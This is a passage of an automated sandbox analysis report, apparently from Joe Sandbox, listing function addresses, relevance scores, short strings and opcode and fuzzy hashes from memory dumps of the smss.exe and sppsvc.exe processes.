Memory Dump Source

Source File: 00000027.00000002.2504081957.00007FF848D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848d80000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec1da7e8d4be8ed4d85a0b69eaaccad5a2e041f0c494d3231dae5f0c1d3b7272
Instruction ID: 64c64701dbd76231e53d3d2461bd82879781fa9596c0515302481a311ac6dc99
Opcode Fuzzy Hash: ec1da7e8d4be8ed4d85a0b69eaaccad5a2e041f0c494d3231dae5f0c1d3b7272
Instruction Fuzzy Hash: 68018C3081A90E9EEB98FF25C8586BA73A2FF18345F10087EE42EC31D5DF35A594CA14

Function 00007FF848D80610 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2504081957.00007FF848D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848d80000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 937f4ff87f4c79b85933fa99c2fcded4e0d21c2edfe5801d08b5783ff63b28df
Instruction ID: 8ba4fd91755cd66e7451b25f1c1cac19a18ea30b3adba77bcb18b8e8f2f61374
Opcode Fuzzy Hash: 937f4ff87f4c79b85933fa99c2fcded4e0d21c2edfe5801d08b5783ff63b28df
Instruction Fuzzy Hash: 6201693085AA0E9EEF88EF2484492B972B0FF18349F10087EE42EC21D5DF35A594C604

Function 00007FF848D81280 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2504081957.00007FF848D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848d80000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb692001811f26f826cdfee0b4131bd01e0adaf3b14803b4e4fda79f2ff099f0
Instruction ID: a4358d8082f80c9ab1282ad55a3db53c8c6d21d50ee9182bcf8b8bbcb685841a
Opcode Fuzzy Hash: cb692001811f26f826cdfee0b4131bd01e0adaf3b14803b4e4fda79f2ff099f0
Instruction Fuzzy Hash: 45F08C70D5E94F9EEF98AA68881A7FA77E4FF59244F00003AD46EC20C1EB24541C8204

Function 00007FF848D8AF0B Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2504081957.00007FF848D88000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D88000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848d88000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12f7c51dab937e23636aa82aefb90636e5659d101b0ceb378ee19a107218146b
Instruction ID: b96d7dbe7a7207a34f0eec1a25414c3b9f7e0d5caf33032aa2d8cabefba1011a
Opcode Fuzzy Hash: 12f7c51dab937e23636aa82aefb90636e5659d101b0ceb378ee19a107218146b
Instruction Fuzzy Hash: FBF06D70D5E90E9FEB91FB3884496B97BE0EF09380F0508B2E42CC7095EF74A5988646

Function 00007FF848D82769 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2504081957.00007FF848D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848d80000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b105da9f6d7e498b77ecfe2998908bad3881d4ed054dec364fcd3e1a6905c53
Instruction ID: 344b35b76733e757ccdfcd5ace0c2abede060bccc481ed6b5f7f489de1cd8410
Opcode Fuzzy Hash: 3b105da9f6d7e498b77ecfe2998908bad3881d4ed054dec364fcd3e1a6905c53
Instruction Fuzzy Hash: B3F0C23180E78D8FEB59AF3488152A93B61FF16340F0504BBD419C61D2DB389418C701

Function 00007FF848D827DD Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2504081957.00007FF848D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848d80000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db66cb8064f911d52893f45b10fda281c39df25d9b85c24e4be75d61297e9df5
Instruction ID: 42c0421fa3a7299d4a23184864022e6d7dd7b7e27c2cae9cd3086353893900ec
Opcode Fuzzy Hash: db66cb8064f911d52893f45b10fda281c39df25d9b85c24e4be75d61297e9df5
Instruction Fuzzy Hash: E9F09A3180FA8E8FEB59AF24885A2B93BA0FF45254F4405BAE819C61D6EB399458C601

Function 00007FF848D82451 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2504081957.00007FF848D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848d80000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 543f2c7d72cabb84343d635a978feab4f87217efa60b78870379a15a1678e9f1
Instruction ID: 22dabf5737cf54dd2d69952967a246087a95ae948434b211dc06457d6589c9d6
Opcode Fuzzy Hash: 543f2c7d72cabb84343d635a978feab4f87217efa60b78870379a15a1678e9f1
Instruction Fuzzy Hash: 62F03A7090D21A9FEBA0FF10C895BA873B1FB54354F1001FAD01DD72A2CB782A88CB54

Function 00007FF848D957B0 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2504081957.00007FF848D94000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D94000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848d94000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 648ece831bcf15a3507388c5fb6207d0e29fce28aa4ebcdbe0a4b3e8de999d35
Instruction ID: 73bf418f5db6582f932a158f27f0606985ac869c9b0ccb8941df0c8a31c962b7
Opcode Fuzzy Hash: 648ece831bcf15a3507388c5fb6207d0e29fce28aa4ebcdbe0a4b3e8de999d35
Instruction Fuzzy Hash: 42C0CA72C09A1ACEEA94EA2C84896A86BB0EF54A48F40013AC00893240DF206A054B22

Non-executed Functions

Function 00007FF848D913C4 Relevance: 6.4, Strings: 5, Instructions: 178COMMON

Download Yara Rule

Strings

+, xrefs: 00007FF848D913B8
/, xrefs: 00007FF848D91B47
], xrefs: 00007FF848D913FB
", xrefs: 00007FF848D915C9
%, xrefs: 00007FF848D9142E

Memory Dump Source

Source File: 00000027.00000002.2504081957.00007FF848D91000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848d91000_smss.jbxd

Similarity

API ID:
String ID: "$%$+$/$]
API String ID: 0-2028497010
Opcode ID: 3aba07dcd85f34501d8542b5a3654558bab8610579a83691633ef91f07547595
Instruction ID: 60062733e4db7e0246ac003117581e5f74280e293bcbe04b663bc96990fc8e57
Opcode Fuzzy Hash: 3aba07dcd85f34501d8542b5a3654558bab8610579a83691633ef91f07547595
Instruction Fuzzy Hash: 7381C170D196298FDBA8EF14C8947EDB7B2FF59359F1041A9D00DA7291CB386A88CF44

Function 00007FF848D91654 Relevance: 6.4, Strings: 5, Instructions: 109COMMON

Download Yara Rule

Strings

/, xrefs: 00007FF848D91B47
[, xrefs: 00007FF848D91C27
{, xrefs: 00007FF848D91944
!, xrefs: 00007FF848D91951
%, xrefs: 00007FF848D9142E

Memory Dump Source

Source File: 00000027.00000002.2504081957.00007FF848D91000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848d91000_smss.jbxd

Similarity

API ID:
String ID: !$%$/$[${
API String ID: 0-890287878
Opcode ID: caf5c440abb67fabfbfd9833e96a469e52bdb9743fedd4fe1239addd133eceed
Instruction ID: 19be67119f8742a37dd745dcd11c1353148c85c02d1f8b4955f4a097a96d0fcf
Opcode Fuzzy Hash: caf5c440abb67fabfbfd9833e96a469e52bdb9743fedd4fe1239addd133eceed
Instruction Fuzzy Hash: EC51B570D0922A8FEF64EF54C8847EDB6B6AF19348F1041B9D00DA7281DB386A88DF54

Function 00007FF848D94000 Relevance: 5.2, Strings: 4, Instructions: 235COMMON

Download Yara Rule

Strings

@, xrefs: 00007FF848D9427B
{, xrefs: 00007FF848D94298
@, xrefs: 00007FF848D940DD
{, xrefs: 00007FF848D940FA

Memory Dump Source

Source File: 00000027.00000002.2504081957.00007FF848D94000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D94000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848d94000_smss.jbxd

Similarity

API ID:
String ID: @$@${${
API String ID: 0-1926933063
Opcode ID: d81aa7155961245b0d5e5f0886525e9f21687177bab20ec65e5e66663e83302a
Instruction ID: 5222952d1e7b3242dd9945b624c05e8e00d6dba9eaab3cf22ba2e9c903d2ba2c
Opcode Fuzzy Hash: d81aa7155961245b0d5e5f0886525e9f21687177bab20ec65e5e66663e83302a
Instruction Fuzzy Hash: 1991C470D1962D8EDBA8EF58C854BECB7B1FF58354F5041AAD00DE3292DB746A888F44

Analysis Process: sppsvc.exePID: 1292, Parent PID: 1028COMMON

Executed Functions

Function 00007FF848DA35C5 Relevance: 1.5, Strings: 1, Instructions: 271COMMON

Download Yara Rule

Strings

L_H, xrefs: 00007FF848DA3870

Memory Dump Source

Source File: 00000028.00000002.2526241755.00007FF848DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ff848da0000_sppsvc.jbxd

Similarity

API ID:
String ID: L_H
API String ID: 0-402390507
Opcode ID: e3725b7e1987359db961d3aaa2d0e61aedb91596634e6d926d22d888aa60403b
Instruction ID: 3c98924575da22357cdb26997291eba91926c2284ce971f48337536616f36026
Opcode Fuzzy Hash: e3725b7e1987359db961d3aaa2d0e61aedb91596634e6d926d22d888aa60403b
Instruction Fuzzy Hash: 5391B171D1DA4A8FE798EB6CD8193B97FE2FB59390F940179C00DD32C6CBA818058B45

Function 00007FF848DAF674 Relevance: 3.8, Strings: 3, Instructions: 63COMMON

Download Yara Rule

Strings

/, xrefs: 00007FF848DAF953
, xrefs: 00007FF848DAF6E6
}, xrefs: 00007FF848DAF6AB

Memory Dump Source

Source File: 00000028.00000002.2526241755.00007FF848DAF000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ff848daf000_sppsvc.jbxd

Similarity

API ID:
String ID: $/$}
API String ID: 0-3304983946
Opcode ID: e9a9f38cc30a80e1fbbb9145424eb9cdbcfeeecf3bbe73d58b2cbe9cbba4f352
Instruction ID: 819da9a93cf71124f6d2aa1537c8fa02c582c6aa18acb9caea6db3965b76dc85
Opcode Fuzzy Hash: e9a9f38cc30a80e1fbbb9145424eb9cdbcfeeecf3bbe73d58b2cbe9cbba4f352
Instruction Fuzzy Hash: 1021A570D0962E8FDFA8EF14C8947A9B6B5AB54341F2044EAD40DA3291CB386A88CF54

Function 00007FF848DB1309 Relevance: 3.8, Strings: 3, Instructions: 51COMMON

Download Yara Rule

Strings

/, xrefs: 00007FF848DB1B47
), xrefs: 00007FF848DB133A
", xrefs: 00007FF848DB1362

Memory Dump Source

Source File: 00000028.00000002.2526241755.00007FF848DB1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ff848db1000_sppsvc.jbxd

Similarity

API ID:
String ID: "$)$/
API String ID: 0-1070994048
Opcode ID: 2eb589c276980893f4d976cc5adf1926f91d91aa26c82d0b6330f00cf1ec64ee
Instruction ID: daaff91c25d4eb2ce7350cb0bf1d72cfae43abdc71827178f449b3926c94e47e
Opcode Fuzzy Hash: 2eb589c276980893f4d976cc5adf1926f91d91aa26c82d0b6330f00cf1ec64ee
Instruction Fuzzy Hash: CA113A71D0862DCFDF68DF94D8987ACB3B2FB69341F10426AC009AB284DB746948CB18

Function 00007FF848DB1A0C Relevance: 2.5, Strings: 2, Instructions: 35COMMON

Download Yara Rule

Strings

/, xrefs: 00007FF848DB1B47
&, xrefs: 00007FF848DB1A5B

Memory Dump Source

Source File: 00000028.00000002.2526241755.00007FF848DB1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ff848db1000_sppsvc.jbxd

Similarity

API ID:
String ID: &$/
API String ID: 0-2578988991
Opcode ID: bfe1dace806ff798322335c5da75175b0803a2327f59239a9e6c63d2f0a1c513
Instruction ID: c906b2ff3721b6930943e3fd1792922f9a4c7da4bcdea7d55db81bff513bc2d3
Opcode Fuzzy Hash: bfe1dace806ff798322335c5da75175b0803a2327f59239a9e6c63d2f0a1c513
Instruction Fuzzy Hash: 4A01A870A09A2C8FEF95EF54C855BE9B3B5FB69301F5001A9C00DE7294DB346D84CB05

Function 00007FF848DAFF7B Relevance: 2.5, Strings: 2, Instructions: 25COMMON

Download Yara Rule

Strings

], xrefs: 00007FF848DAFF85
e, xrefs: 00007FF848DAFFF0

Memory Dump Source

Source File: 00000028.00000002.2526241755.00007FF848DAF000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DAF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ff848daf000_sppsvc.jbxd

Similarity

API ID:
String ID: ]$e
API String ID: 0-1460998272
Opcode ID: 7a1645c8846097bbefca5381d23dd8b92fd27d6032104e7c6246af0c3d46be71
Instruction ID: 92225cc137b00d717cf6c8910dd358c0f6e05a295da4b8d406b96cc3c3196591
Opcode Fuzzy Hash: 7a1645c8846097bbefca5381d23dd8b92fd27d6032104e7c6246af0c3d46be71
Instruction Fuzzy Hash: FAF07F70D0662B8FDBA8EF28CD587E9B6B1AF44305F5441F9D01CA6295DB385AC8CF04

Function 00007FF848DA16E8 Relevance: 1.5, Strings: 1, Instructions: 281COMMON

Download Yara Rule

Strings

2EH, xrefs: 00007FF848DA1EB3

Memory Dump Source

Source File: 00000028.00000002.2526241755.00007FF848DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ff848da0000_sppsvc.jbxd

Similarity

API ID:
String ID: 2EH
API String ID: 0-17899816
Opcode ID: 6b2b6740c7af8d1deb976d3bcbf3f127a31b2959c835f07bcab6020bb4547c6e
Instruction ID: 2aa30a9f9c4927de2a0e2d96594ee15ade4e77ada39be5d77b4f5541bd89edd3
Opcode Fuzzy Hash: 6b2b6740c7af8d1deb976d3bcbf3f127a31b2959c835f07bcab6020bb4547c6e
Instruction Fuzzy Hash: CD819231A0DB4A8FDF49EE1CA8556B977E2FF98740F24417AD44EC7286CF34A8068785

Function 00007FF848DB2D9B Relevance: 1.4, Strings: 1, Instructions: 177COMMON

Download Yara Rule

Strings

to, xrefs: 00007FF848DB2EB6

Memory Dump Source

Source File: 00000028.00000002.2526241755.00007FF848DB1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ff848db1000_sppsvc.jbxd

Similarity

API ID:
String ID: to
API String ID: 0-922801746
Opcode ID: 9dfce395290326912e57ff25b62de0b1b4a41cb1c106c63932345e179f19549b
Instruction ID: 2b6bd09888829d59c3f1e5ac1145d64669961035c0c795eb99389b96fb4f2766
Opcode Fuzzy Hash: 9dfce395290326912e57ff25b62de0b1b4a41cb1c106c63932345e179f19549b
Instruction Fuzzy Hash: 6961C270D19A1D8EEBA4EB68C855BECB7B1FF58340F5041BAD00DE3292DF7469898B44

Function 00007FF848DACCFB Relevance: 1.4, Strings: 1, Instructions: 147COMMON

Download Yara Rule

Strings

wL_^, xrefs: 00007FF848DACD01

Memory Dump Source

Source File: 00000028.00000002.2526241755.00007FF848DA8000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ff848da8000_sppsvc.jbxd

Similarity

API ID:
String ID: wL_^
API String ID: 0-534515445
Opcode ID: 1495460d15542f9c7c08ef8b0b017fa58b3e37a30a0ce8ff842ea7c3f771c973
Instruction ID: 0f1ddd269a39b809f8dc2ff2c6323321520ec61007bbcae2f73b8108cd57129e
Opcode Fuzzy Hash: 1495460d15542f9c7c08ef8b0b017fa58b3e37a30a0ce8ff842ea7c3f771c973
Instruction Fuzzy Hash: CB41D12690F76A9EEB6176ADB8192F97B90EF913F1F140137D50C8A083DF18354886BD

Function 00007FF848DACBFB Relevance: .2, Instructions: 214COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2526241755.00007FF848DA8000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ff848da8000_sppsvc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a471a3db9e7c7a713db459d9e8870cad71098dfb8a5feb0ad33a0d7c2173c01
Instruction ID: b74e90db92c6a318a170982f939ece6b84efd00ee74848a5f3530ca18252d233
Opcode Fuzzy Hash: 1a471a3db9e7c7a713db459d9e8870cad71098dfb8a5feb0ad33a0d7c2173c01
Instruction Fuzzy Hash: 08510327A0F6669EE711776DB8192F87B90EF813B5F280137D18C8A083DF18354986BD

Function 00007FF848DAC5A9 Relevance: .2, Instructions: 190COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2526241755.00007FF848DA8000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ff848da8000_sppsvc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bd0f25d4671d07c2991866531e31b6fd2194fc2d81a43999d6ff4b90b12ca03
Instruction ID: b80ecdbca8bdfe05c56759fc1ea9177d49beb6cbc38c765dcdcd8484b9afbd09
Opcode Fuzzy Hash: 6bd0f25d4671d07c2991866531e31b6fd2194fc2d81a43999d6ff4b90b12ca03
Instruction Fuzzy Hash: C3512370D0DA1D8FEB98EB68C4557EDBBB1EF98350F64117AD009E7292CF3868498B44

Function 00007FF848DA1D2D Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2526241755.00007FF848DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ff848da0000_sppsvc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f854ab903f6e115f68b07a706391c2e7995f4ffcd54b6ff822360b07bd3473cd
Instruction ID: 3b1ef6fd21956b4aac830baf575ef79fa1745c118df5647f5214ccd73b66ce0a
Opcode Fuzzy Hash: f854ab903f6e115f68b07a706391c2e7995f4ffcd54b6ff822360b07bd3473cd
Instruction Fuzzy Hash: EB51B431A1DB8A4FDF48DE1898546BA77E2FF98740F24457ED44AC7285CF34E8068785

Function 00007FF848DADDD9 Relevance: .2, Instructions: 181COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2526241755.00007FF848DA8000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ff848da8000_sppsvc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5adeca125971cde0bc64092ab98b0ef9704f3caa31368074eed0bcc111e73a1
Instruction ID: 2732c6bae31834a46d0c779d3bc2fdbcb0e7604ef33004e9eecad0088e2cbb2d
Opcode Fuzzy Hash: e5adeca125971cde0bc64092ab98b0ef9704f3caa31368074eed0bcc111e73a1
Instruction Fuzzy Hash: E951B071D1DA8A8FE7A8AB2898653F876A1FF14350F1401FAC04ED31D6CF781988CB45

Function 00007FF848DA31F5 Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2526241755.00007FF848DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ff848da0000_sppsvc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7986142f83b3a96bc9d639bb4c237031937564e3e9d4cc283ab4a598ae7ea832
Instruction ID: b465252e8277e4997d16bdc1ad4fd37528e627c1639142e4817471faf112de9b
Opcode Fuzzy Hash: 7986142f83b3a96bc9d639bb4c237031937564e3e9d4cc283ab4a598ae7ea832
Instruction Fuzzy Hash: 43610674D0E6198FEB58EBA9C4547EDBBB2EF58340F60417AD009E7292DB386948CB14

Function 00007FF848DA2145 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2526241755.00007FF848DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ff848da0000_sppsvc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 835cb3274b3cbd81ff84908bc00ea7f3d100f446e8bba56bde13838a66a97b7e
Instruction ID: 89cfd885e5a10cfeafd6851387cb4e841bcb161b441b4ae62b38fc0df06ef424
Opcode Fuzzy Hash: 835cb3274b3cbd81ff84908bc00ea7f3d100f446e8bba56bde13838a66a97b7e
Instruction Fuzzy Hash: 31414831E1EB4A4FE745EB3898452B97BE0EF4A380F1541BAD04CC3192DF28A8458359

Function 00007FF848DAB33D Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2526241755.00007FF848DA8000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ff848da8000_sppsvc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89029362a24c2fc9c39c8f444154a99887d63dae37445df0094e8ebeedaa3647
Instruction ID: d57ff6d0e627715b3ea2b960773143f3fdde93454bc1a6016729bba462fffbe1
Opcode Fuzzy Hash: 89029362a24c2fc9c39c8f444154a99887d63dae37445df0094e8ebeedaa3647
Instruction Fuzzy Hash: 5741CE7190EA4A9FE741FB2898492BD7BE0FF1A394F2444B6C008C7092DF68A84A8354

Function 00007FF848DB2B3D Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2526241755.00007FF848DB1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ff848db1000_sppsvc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90ed52c68eb0b93abf45b8b905028bb02e3d6ea7cd883c71ff832f2c0fc50239
Instruction ID: 62fc1fb000110bb0848d0994e9a3aa821d21610c7a519053339e17a736f14360
Opcode Fuzzy Hash: 90ed52c68eb0b93abf45b8b905028bb02e3d6ea7cd883c71ff832f2c0fc50239
Instruction Fuzzy Hash: 81413730A1960D9FDB84EFA9D855BEDB7B1FF58340F50013AE009E3296CF3468458B55

Function 00007FF848DAC651 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2526241755.00007FF848DA8000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ff848da8000_sppsvc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b19802d3cd1bf7e9c25579ee97cf769dfbe2396a4cc7da1605d1259586131d5b
Instruction ID: 3c2a5878baa8467327749f36d8f46dead14b7bc6087ef99143bccf35ab8c1f48
Opcode Fuzzy Hash: b19802d3cd1bf7e9c25579ee97cf769dfbe2396a4cc7da1605d1259586131d5b
Instruction Fuzzy Hash: 0131A570D1DA1D8FEB98EB68D4957ADB7B1FF98350F60117AD00DE3292DF2468458B04

Function 00007FF848DACCD3 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2526241755.00007FF848DA8000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ff848da8000_sppsvc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2547129180b035f9f99fda51838a60f6ee5f2f2f5b120da6c37a00ed8ecff515
Instruction ID: 474a014384eed290400c67bd2adba32ac7ab20e0fbd5cc40f4b5b153602f4c89
Opcode Fuzzy Hash: 2547129180b035f9f99fda51838a60f6ee5f2f2f5b120da6c37a00ed8ecff515
Instruction Fuzzy Hash: CE31B02690F76A4EEB65766DA8153FC7B90EF913B1F240037D10C8B093DF28295882BD

Function 00007FF848DAD84D Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2526241755.00007FF848DA8000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ff848da8000_sppsvc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0aadf5fae2590a4316c8d24880663da578c631e54f37dafb25a20c5a188c004
Instruction ID: 3c316c079c1ba600368d8f7354a8c1265540b393349d7c2b9f026655140d2554
Opcode Fuzzy Hash: e0aadf5fae2590a4316c8d24880663da578c631e54f37dafb25a20c5a188c004
Instruction Fuzzy Hash: DC412970D0E6198FEB54EB68C4447EDBBF1EF48350F20457AD00AE7295DB78A848CB58

Function 00007FF848DA0F36 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2526241755.00007FF848DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ff848da0000_sppsvc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65640f76bf9f215094f0a612c86732787682f2b7e6d6ff031a2b7ca9a4fe64b9
Instruction ID: c254de20409fefd119cafa5c3fea456c022a5b0ac9d83a18eed659faea898b94
Opcode Fuzzy Hash: 65640f76bf9f215094f0a612c86732787682f2b7e6d6ff031a2b7ca9a4fe64b9
Instruction Fuzzy Hash: 9E310F31D0A61D8EEB64FB68C4447EDB3A1FF54341F6042B9D00DA7296DF386D498B58

Function 00007FF848DAA9B1 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2526241755.00007FF848DA8000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ff848da8000_sppsvc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8bc239fe7165ebc38b87218231df4ea8ed1331eaa73e5dc29976abfda151644
Instruction ID: d0f70ab02b2fbcd98cbfa3811e30b4ebfaeefd6c62bf79077442bb67e430d1e8
Opcode Fuzzy Hash: f8bc239fe7165ebc38b87218231df4ea8ed1331eaa73e5dc29976abfda151644
Instruction Fuzzy Hash: 67218E70918A4D8FDB85EF18C445AAD3BF0FF28345F1102AAE809D3291DB30A894CB81

Function 00007FF848DA341C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2526241755.00007FF848DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ff848da0000_sppsvc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5aed9aeecf7d8572a863ed610d813e7fe6fa81e35f50458de55117ee5e869e48
Instruction ID: 9218a73a34f2bae6195e28225bd177aae12e5817ec43a414a2613192a39e2c54
Opcode Fuzzy Hash: 5aed9aeecf7d8572a863ed610d813e7fe6fa81e35f50458de55117ee5e869e48
Instruction Fuzzy Hash: 1421AF3084D78A9FD746EBB888186A97FF1FF1A350F1905FAD049C70A2DB789585C711

Function 00007FF848DB2AA0 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2526241755.00007FF848DB1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ff848db1000_sppsvc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b50ae736a6ebeb9d828d158d5c7f9686945563918729f8dd35556152656cff3
Instruction ID: dcf8636f081ae7de3a72b1077bb7a4d498627e3c7e63fa6846d0da8b5d628d89
Opcode Fuzzy Hash: 2b50ae736a6ebeb9d828d158d5c7f9686945563918729f8dd35556152656cff3
Instruction Fuzzy Hash: B8219D3184E7CA4FD747AF3088292A97FB0AF16240F1900EFD449CB0D3DB295949C766

Function 00007FF848DB7165 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

